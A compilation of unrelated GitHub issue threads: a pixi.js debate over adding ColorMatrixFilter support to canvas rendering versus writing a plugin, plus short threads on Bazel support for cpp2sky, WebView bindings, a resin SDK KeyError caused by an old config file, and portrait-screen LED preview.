If you got color matrix filter working how you want on canvas for your app, that's awesome. But if we did it in core we would need to support all major use cases of all filters which is almost always highly dynamic,  rapidly changing data (see noise, displacement, lighting, etc). Try running getImageData, manipulating the pixels, and putting it back every frame for multiple objects. There is no way to make that scale on the cpu. The only way to reliably do it is to make it work for the application specific way you need it to, which is out of the scope of pixi.

Before I continue, I want to thank you for discussing this with me.  I don't want a context where I am in one camp and you are in another camp, and we are battling out our differing views until one wins and one loses.  My real goal is to discuss the obstacles, to have a constructive conversation, to dig deep into the problems inherent to trying to accomplish ColorMatrixFilter support in 2d canvas rendering and then speculate on how we might overcome them.  At the end of the conversation, we may mutually decide if it is worth it or not.
You've touched on several things, but for the sake of moving the conversation along briskly, I'll make some broad statements that address most of them and respond to the rest if they come up again as a significant issue.

I'm not sure what to make of "major use cases".  I assume that some sort of analysis was made to determine what they are, like assessing a sampling of maybe 100 projects in the wild to determine common trends.  Otherwise, this is subjective and arbitrarily determined.  It also suggests that the most common use cases are considered to prioritize efforts so that you get the most bang for your buck.  But this doesn't necessarily mean edge cases should never be supported.  It's just lower in priority.  And if some nice fella wants to come along and improve the capabilities of the product for free, all power to him.  This is assuming the product is not hurt by the changes in some way.

So if "major use cases" isn't the driver of a product's scope.  Then, what is?  Well, two of PIXI's major selling points (to me at least) is its speed and its ability to fallback from WebGL to Canvas as necessary.  So I understand that anything about PIXI that is slow makes it look bad.  But if the fallback from WebGL to Canvas is useless because of missing functionality, it also makes PIXI look bad.  So I don't think my suggestion is truly out of scope.  I think it is just difficult to meet our sometimes-conflicting design goals.

So the real question is if the product is hurt in any way if ColorMatrixFilter support is added to 2d canvas.  I suggest that there are 4 types of projects in relation to this change:
a) Projects that don't use ColorMatrixFilter. (obviously not affected)
b) Projects that have required ColorMatrixFilters and restrict themselves to WebGL.  (not affected)
c) Projects that have optional ColorMatrixFilters and 2d context, but use filters heavily and would be slowed down unacceptably in 2d context. (adversely affected)
d) Projects that have required ColorMatrixFilters and 2d context, but use filters lightly or otherwise cached effectively. (positively affected)

It is hard to say if (c) is more common than (d).  But commonality just factors into priority, right?  Assuming (c) projects are even a real thing, they should always be tested against the latest pixi version before release.  If they are really slowed down too much, then some mechanism can be provided to disable filters in 2d context.  I do know that projects in (d) is a real thing.  I have a board game that has proven to perform well in slow browsers (firefox) and slow devices (apple and android phones) using very dynamic ColorMatrixFilters in 2d context.
So these are my thoughts for catering to every use case, as opposed to just the major use cases.  But this is assuming that any coding difficulties can be solved creatively (i.e. detecting when filters get dirty, caching, and utilization).

Thanks for the well thought out response. I think where we are having differences is that you are confusing "supporting color matrix" on canvas with "supporting filters on canvas". Those two statements are very very different.
I think the other thing we are miscommunicating on is that there is a difference between "support filters on canvas in pixi's core library" and "write a plugin to add filter support to canvas".
When I say "most use-cases" I mean most use cases of filters. Look at the filters we have:
https://github.com/GoodBoyDigital/pixi.js/tree/master/src/filters
Very, very few of them are run once and done. Almost all of them are dynamically changing which means that is what we would have to support in pixi. I am not comfortable putting in a feature that we know will have poor performance. That doesn't mean there is any reason not to build it into a plugin that you can use in your app and share with the community. Keeping the core as lite as I can makes it easier to maintain, and easier for people to only get what they need.
If you want to abstract your code into a plugin, please do it and add it to this list:
https://github.com/GoodBoyDigital/pixi.js/wiki/Pixi-v3-Plugins
I'm sure you are not the only one who would want this feature for certain apps. Hopefully this makes sense.

Some of the differences you describe was evident.  I did hammer the term "ColorMatrixFilter" over and over again in my last post to stress that I wasn't suggesting that we support all filter types in canvas.  My initial argument was that ColorMatrixFilter, given how powerful it is, may be worthwhile to support individually (in the core) like tinting being a common need.  But I also appreciate that it may seem oddly unique and confusing to support that but not other filters in canvas.  Filters do come in many shapes and sizes and trying to recreate them all "manually" for 2d canvas as well as in shaders for webgl seems quite redundant.
So what I'm saying is, I can live with it being a plugin.  But that takes me back to my original need: I don't love the idea of spending time merging my changes into future versions of pixi as it grows.  If I create a plugin, will it need to be updated for the lifetime of PIXI v3? (I understand that v4 may require an update)  Perhaps there is a guide (best practices) for ensuring it won't need updates for the lifetime of v3?

My initial argument was that ColorMatrixFilter, given how powerful it is, may be worthwhile to support individually (in the core) like tinting being a common need

I misunderstood this, I thought you wanted us to support filters in general.

If I create a plugin, will it need to be updated for the lifetime of PIXI v3?

Hopefully not, we try to follow semver as much as is reasonible especially with breaking changes. I try really hard to not have breaking changes. Likely you will not have to update the plugin very often or at all through the v3 lifetime.

Closing this for now.


Add bazel support for SkyWalking data collect protocol

Related with https://github.com/SkyAPM/cpp2sky/pull/5
Commented on here.
We use private fork to enable building data collect protocol with Bazel right now, so we should upstream this in the future. (before 0.0.1 release)

(before 0.0.1 release)

Suggest use 0.1.0, as in skywalking ecosystem, the last min version means bug fix only :)


Fixes event types for WebView

This broke with the bs platform update ( because of the Js.Bool change )
So this fixes the bindings for the WebView

Nvm, this doesn't seem to be a problem. We were using old bs-platform version, that's why it didn't work


Get name (From 4.0.0 Update) is broken

resin.models.device.get_name("#####")
Traceback (most recent call last):
File "", line 1, in
File "/home/skorn/Babylon-Web/django/env/lib/python3.6/site-packages/resin/models/device.py", line 202, in get_name
return self.get(uuid)['device_name']
KeyError: 'device_name'
When you go find the file /resin/models/device.py in the repo it talks about a large breaking change, so it seems something is just a bit off with the 4.0.0 update.
Thanks for the support!

@sako0938, can you please check if your config file still points to another api version other than v4? Since we don't update your config file if it does exist and mandatory key are not missing so there can be a chance, it still points to API v3 which doesn't return device_name

@nghiant2710 You are right... I found where the file was stored, and moved it to a backup file. The SDK remakes a new config file in the way that it likes

@nghiant2710 I think the endpoint version should be decided by the SDK rather than a config file - pointing to a version the SDK doesn't support is always going to have issues


Portrait screen resolution

I was wondering if you have managed to get this to work on a portrait screen? the preview shows most of the spots off screen resulting in bottom half of LED strip being off.

The currently released version has a shifted preview but it does not affect
actual color reading. Can you provide a screen shot? I do not see why a
rotated screen should be an issue.